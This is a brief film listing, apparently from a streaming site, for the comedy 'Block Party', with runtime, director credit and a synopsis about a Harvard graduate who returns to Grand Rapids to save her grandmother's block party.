Block Party
Vj Junior Comedy 01h 26m 3 years ago

Recent Harvard grad Keke McQueen, 23, is eager to ditch her hometown of Grand Rapids, Michigan for her dream job in Atlanta, but when Keke discovers that her once super-sharp Grandma Janice is showing early signs of dementia, Keke puts her career at stake in order to save her Grandma's block party, and in the process, Keke falls back in love with her hometown and its people.
